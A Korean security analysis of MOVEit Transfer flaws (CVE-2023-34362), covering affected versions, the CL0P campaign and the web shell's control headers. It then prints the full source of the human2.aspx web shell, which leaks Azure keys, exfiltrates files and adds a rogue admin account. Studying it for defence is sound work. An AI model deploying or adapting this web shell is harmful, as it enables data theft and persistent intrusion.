- 공격자는 MOVEit Transfer 앱에 조작된 페이로드를 전달하여, 최종적으로 MOVEit DB 컨텐츠의 수정 및 공개가 가능
영향받는 저번 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 구체적인 PoC는 확인되지 않으나 아르헨티나 보안 연구원 MCKSys이 PoC 화면 공개 [2]
영향받는 버전 - MOVEit Transfer 2023.0.x (15.0.x) - MOVEit Transfer 2022.1.x (14.1.x) - MOVEit Transfer 2022.0.x (14.0.x) - MOVEit Transfer 2021.1.x (13.1.x) - MOVEit Transfer 2021.0.x (13.0.x) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 취약한 버전의 MOVEit Transfer에서 발생하는 SQL Injection 취약점
- 해당 취약점을 악용해 웹쉘 업로드가 가능하며, 웹쉘을 통해 DB 조작, 정보 열람, 파일 다운로드 등 악성행위가 가능함
- MOVEit Transfer를 사용하는 기업은 전 세계 수천개가 넘으며, 이 중에는 BBC, 영국항공, 노바스코티아 주 정부가 포함되어 있음
- 현재 관련된 PoC 등은 확인되지 않으나, Huntress에서 관련 영상 공개 [3]
> 보안 업체가 Horizon3ai와 Rapid7가 각각 CVE-2023-34362의 익스플로잇 방법을 개발해 발표 [16][17][18]
영향받는 버전 - MOVEit Transfer 2023.0.0 (15.0) - MOVEit Transfer 2022.1.x (14.1) - MOVEit Transfer 2022.0.x (14.0) - MOVEit Transfer 2021.1.x (13.1) - MOVEit Transfer 2021.0.x (13.0) - MOVEit Transfer 2020.1.x (12.1) - MOVEit Transfer 2020.0.x (12.0) 혹은 그 이전버전 - MOVEit Cloud
- 23.06.10 현재 인터넷에 노출된 MOVEit Transfer 인스턴스는 약 2,500개 [4]
[사진 2] Shodan 검색 결과
- GreyNoise에서는 CVE-2023-34362 관련 스캐너를 공개 [5]
[사진 3] GreyNoise의 CVE-2023-34362 관련 스캐너
2.1 CL0P 랜섬웨어 그룹 [6]
- MS에서 2023.06.02 CL0P 랜섬웨어 그룹의 소행으라고 밝혔으며, 06.05 CL0P이 블로그에 관련 성명을 게시
> 보안 외신 SC Media에 따르면 CL0P 랜섬웨어 그룹은 2021년부터 연구하였고, 그 기간 동안 여러 기업들을 해당 취약점을 이용해 침해
[사진 4] CL0P 랜섬웨어 그룹의 MOVEit 캠페인 관련 게시글
[사진 5] MOVEit 익스플로잇 타임라인
- 여러 보안 기업에서 분석한 결과 공격 흐름은 다음과 같음
① SQL Injection 취약점 악용
> SQL Injection 취약점을 이용해 웹쉘 human2.aspx 업로드
② 웹쉘 통신 및 악성 행위 수행 [7]
> "X-siLock-Comment" 헤더를 통해 웹쉘과 통신
헤더
옵션
설명
X-siLock-Step1
-1
- AppendHeader 응답 헤더를 통해Azure 정보 유출 - MOVEit에 존재하는 모든 파일, 파일 소유자, 파일 사이즈 등의 정보를GZIP으로 압축하여 반환
-2
-users 데이터베이스에서 RealName이 Health Check Service인 사용자 삭제
X-siLock-Step2 ("folderid"값지정)
특정 값 지정
-해당 값과 fileid값(X-siLock-Step3)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
-해당 값과 fileid 값(X-siLock-Step3)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
X-siLock-Step3 ("fileid" 값 지정)
특정 값 지정
-해당 값과 folderid값(X-siLock-Step2)이 지정 되었을 경우해당 값으로 설정된 파일을 검색하고 GZIP으로 압축하여 반환
NULL
- 해당 값과 folderid값(X-siLock-Step2)이 지정되지 않을 경우(null) 권한 수준이 30인 기존 계정 식별을 시도하고, 그렇지 않을 경우 user 데이터베이스에 새로운 Health Check Service 관리용 사용자를 추가
<%@ Page Language="C#" %>
<%@ Import Namespace="MOVEit.DMZ.ClassLib" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Infrastructure.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Files" %>
<%@ Import Namespace="MOVEit.DMZ.Cryptography.Contracts" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Cryptography" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.FileSystem" %>
<%@ Import Namespace="MOVEit.DMZ.Core" %>
<%@ Import Namespace="MOVEit.DMZ.Core.Data" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Users" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users.Enum" %>
<%@ Import Namespace="MOVEit.DMZ.Application.Contracts.Users" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<script runat="server">
private Object connectDB() {
var MySQLConnect = new DbConn(SystemSettings.DatabaseSettings());
bool flag = false;
string text = null;
flag = MySQLConnect.Connect();
if (!flag) {
return text;
}
return MySQLConnect;
}
private Random random = new Random();
public string RandomString(int length) {
const string chars = "abcdefghijklmnopqrstuvwxyz0123456789";
return new string(Enumerable.Repeat(chars, length).Select(s => s[random.Next(s.Length)]).ToArray());
}
protected void Page_load(object sender, EventArgs e) {
var pass = Request.Headers["X-siLock-Comment"];
if (!String.Equals(pass, "REDACTEDREDACTEDREDACTEDREDACTED")) {
Response.StatusCode = 404;
return;
}
Response.AppendHeader("X-siLock-Comment", "comment");
var instid = Request.Headers["X-siLock-Step1"];
string x = null;
DbConn MySQLConnect = null;
var r = connectDB();
if (r is String) {
Response.Write("OpenConn: Could not connect to DB: " + r);
return;
}
try {
MySQLConnect = (DbConn) r;
if (int.Parse(instid) == -1) {
string azureAccout = SystemSettings.AzureBlobStorageAccount;
string azureBlobKey = SystemSettings.AzureBlobKey;
string azureBlobContainer = SystemSettings.AzureBlobContainer;
Response.AppendHeader("AzureBlobStorageAccount", azureAccout);
Response.AppendHeader("AzureBlobKey", azureBlobKey);
Response.AppendHeader("AzureBlobContainer", azureBlobContainer);
var query = "select f.id, f.instid, f.folderid, filesize, f.Name as Name, u.LoginName as uploader, fr.FolderPath , fr.name as fname from folders fr, files f left join users u on f.UploadUsername = u.Username where f.FolderID = fr.ID";
string reStr = "ID,InstID,FolderID,FileSize,Name,Uploader,FolderPath,FolderName\n";
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4},{5},{6},{7}\n", set["ID"].Value, set["InstID"].Value, set["FolderID"].Value, set["FileSize"].Value, set["Name"].Value, set["uploader"].Value, set["FolderPath"].Value, set["fname"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nFolderID,InstID,FolderName,Owner,FolderPath\n";
String query1 = "select ID, f.instID, name, u.LoginName as owner, FolderPath from folders f left join users u on f.owner = u.Username";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2},{3},{4}\n", set["id"].Value, set["instID"].Value, set["name"].Value, set["owner"].Value, set["FolderPath"].Value);
set.MoveNext();
}
}
reStr += "----------------------------------\nInstID,InstName,ShortName\n";
query1 = "select id, name, shortname from institutions";
set = new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
if (!set.EOF) {
while (!set.EOF) {
reStr += String.Format("{0},{1},{2}\n", set["ID"].Value, set["name"].Value, set["ShortName"].Value);
set.MoveNext();
}
}
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
using(var writer = new StreamWriter(gzipStream, Encoding.UTF8)) {
writer.Write(reStr);
}
}
} else if (int.Parse(instid) == -2) {
var query = String.Format("Delete FROM users WHERE RealName='Health Check Service'");
new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
} else {
var fileid = Request.Headers["X-siLock-Step3"];
var folderid = Request.Headers["X-siLock-Step2"];
if (fileid == null && folderid == null) {
SessionIDManager Manager = new SessionIDManager();
string NewID = Manager.CreateSessionID(Context);
bool redirected = false;
bool IsAdded = false;
Manager.SaveSessionID(Context, NewID, out redirected, out IsAdded);
string username = "";
var query = String.Format("SELECT Username FROM users WHERE InstID={0} AND Permission=30 AND Status='active' and Deleted=0", int.Parse(instid));
var set = new RecordSetFactory(MySQLConnect).GetRecordset(query, null, true, out x);
var query1 = "";
if (!set.EOF) {
username = (String) set["Username"].Value;
} else {
username = RandomString(16);
query1 += String.Format("INSERT INTO users (Username, LoginName, InstID, Permission, RealName, CreateStamp, CreateUsername, HomeFolder, LastLoginStamp, PasswordChangeStamp) values ('{0}','{1}',{2},{3},'{4}', CURRENT_TIMESTAMP,'Automation',(select id from folders where instID=0 and FolderPath='/'), CURRENT_TIMESTAMP, CURRENT_TIMESTAMP);", username, "Health Check Service", int.Parse(instid), 30, "Health Check Service", "Automation", "Services");
}
query1 += String.Format("insert into activesessions (SessionID, Username, LastTouch, Timeout, IPAddress) VALUES ('{0}','{1}',CURRENT_TIMESTAMP, 9999, '127.0.0.1')", NewID, username);
new RecordSetFactory(MySQLConnect).GetRecordset(query1, null, true, out x);
} else {
DataFilePath dataFilePath = new DataFilePath(int.Parse(instid), int.Parse(folderid), fileid);
SILGlobals siGlobs = new SILGlobals();
siGlobs.FileSystemFactory.Create();
EncryptedStream st = Encryption.OpenFileForDecryption(dataFilePath, siGlobs.FileSystemFactory.Create());
Response.ContentType = "application/octet-stream";
Response.AppendHeader("Content-Disposition", String.Format("attachment; filename={0}", fileid));
using(var gzipStream = new GZipStream(Response.OutputStream, CompressionMode.Compress)) {
st.CopyTo(gzipStream);
}
}
}
} catch (Exception) {
Response.StatusCode = 404;
return;
} finally {
MySQLConnect.Disconnect();
}
return;
}
</script>
- 시나리오를 기반으로 침해를 테스트한 시스템의 로그를 검토한 결과 해당 공격과 관련된 로그는 다음과 유사할 것으로 판단 됨